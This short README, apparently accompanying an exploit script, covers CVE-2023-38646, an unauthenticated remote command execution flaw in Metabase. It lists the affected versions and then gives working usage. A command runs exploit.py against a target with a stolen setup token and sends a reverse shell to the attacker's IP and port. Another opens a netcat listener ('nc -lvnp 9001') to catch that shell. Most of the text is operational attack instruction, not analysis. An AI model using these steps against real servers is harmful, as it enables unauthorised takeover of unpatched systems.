CVE-2023-38646 (Metabase 未授权 RCE)

Metabase 开源版 0.46.6.1 之前的版本以及 Metabase 企业版 1.46.6.1 之前的版本，允许攻击者以服务器的权限级别在服务器上执行任意命令。利用该漏洞无需身份验证。其他已修复版本为 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。

示例用法

打开两个终端。

终端 1：

python3 exploit.py -u http://vulnerablewebsite.com -t "537up-70k3n-fr0m-4p1-535510n" -i 10.10.10.10 -p 9001

where:
-u: the URL for the vulnerable website
-t: the setup token taken from http://vulnerablewebsite.com/api/session/properties
-i: host IP address (your IP address)
-p: host port for connection 

终端 2：

nc -lvnp 9001